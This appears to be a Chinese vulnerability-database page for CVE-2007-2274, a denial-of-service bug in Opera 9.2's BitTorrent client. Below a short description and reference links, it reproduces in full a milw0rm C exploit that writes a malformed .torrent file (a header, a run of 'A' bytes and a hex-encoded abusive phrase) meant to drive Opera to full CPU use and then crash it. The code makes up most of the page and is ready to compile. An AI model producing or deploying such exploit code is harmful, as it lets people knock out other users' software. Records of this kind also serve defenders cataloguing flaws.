Opera BitTorrent应用拒绝服务攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112772 漏洞类型 资源管理错误
发布时间 2007-04-23 更新时间 2007-04-25
CVE编号 CVE-2007-2274 CNNVD-ID CNNVD-200704-488
漏洞平台 Multiple CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/3784
https://www.securityfocus.com/bid/86212
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-488
|漏洞详情
Opera是挪威欧朋(OperaSoftware)公司所开发的一款Web浏览器,它支持多窗口浏览、可定制用户界面等。Opera9.2版本的BitTorrent实现中存在拒绝服务漏洞。远程攻击者可借助畸形的torrent文件导致拒绝服务(CPU损耗和应用程序崩溃)。
|漏洞EXP
/************************************************************************


* Created Date :April 23 2007
*
* Credits go to n00b for finding this vulnerability and writing p0c.
* Moderator of http://igniteds.net
*
* 0pera 9.2 torrent file remote dos exploit.
*
* opera has its own bit torrent client with-in the web browser
* it is possible to crash opera with a malformed torrent file
* causing denial of service to legitimate users..Opera will
* use 100% cpu till the inevitable happens..Which will be a crash
* To fix this problem disable the bitorrent with in opera..
*
* Tested : win xp service pack 1 and 2
*
* I wasn't able to catch any debugging info I'm afraid maybe some one
* else can give it a go.
*
* All i was able to get from drwatson pmsl was.
************************************************************************

* Application exception occurred:
* App: C:\Program Files\Opera\Opera.exe (pid=1084)
* When: 4/22/2007 @ 14:55:29.296
* Exception number: 80000003 (hard coded breakpoint)
************************************************************************

* Seams like some sort of memory leak with the bitorrent client
* of opera..
************************************************************************

********************************
**/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

char header[] = "\x64\x38";

char My_buff[] =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";

char trailing_buff[] =
"\x36\x31\x3a\x09\x44\x69\x65\x20\x6f\x70\x65\x72\x61"
 "\x20\x79\x6f\x75\x20\x73\x6c\x75\x74";

int main(int argc,char* argv[])
{
 system("cls");

 printf("\n *************************************************");
 printf("\n * Opera torrent file dos exploit by n00b *");
 printf("\n *************************************************");
 printf("\n * Shouts to every one at milw0rm *");
 printf("\n *************************************************");
 printf("\n * Special thanks to str0ke *");
 printf("\n * *");
 printf("\n * Date :Aprill 23 2007 *");
 printf("\n *************************************************");
 printf("\n * CREDITS TO n00b FOR FINDING THIS BUG *");
 printf("\n *************************************************");

 if ( argc!=2 )
 {
 usage(argv[0]);
 }

 FILE *f;
 f = fopen(argv[1],"w");
 if ( !f )
 {
 printf("\nFuck some thing went wrong :D");
 exit(1);
 }

 printf("\n\nMaking torrent file...");

 fwrite(header,1,sizeof(header),f);

 fwrite(My_buff,1,sizeof(My_buff),f);

 fwrite(trailing_buff,1,sizeof(trailing_buff),f);

 printf("\nDone hoooooha!");
 printf("\n ");
 printf("\n0h noes memory leak pmsl !!");
 return 0;
}

void usage(char* file)
{

 printf("\n\nusage: n00b.exe opera.torrent");
 exit(1);
}

// milw0rm.com [2007-04-23]
|受影响的产品
Opera Software Opera 9.2
|参考资料

来源:MILW0RM
名称:3784
链接:http://www.milw0rm.com/exploits/3784
来源:XF
名称:opera-bittorrent-dos(34079)
链接:http://xforce.iss.net/xforce/xfdb/34079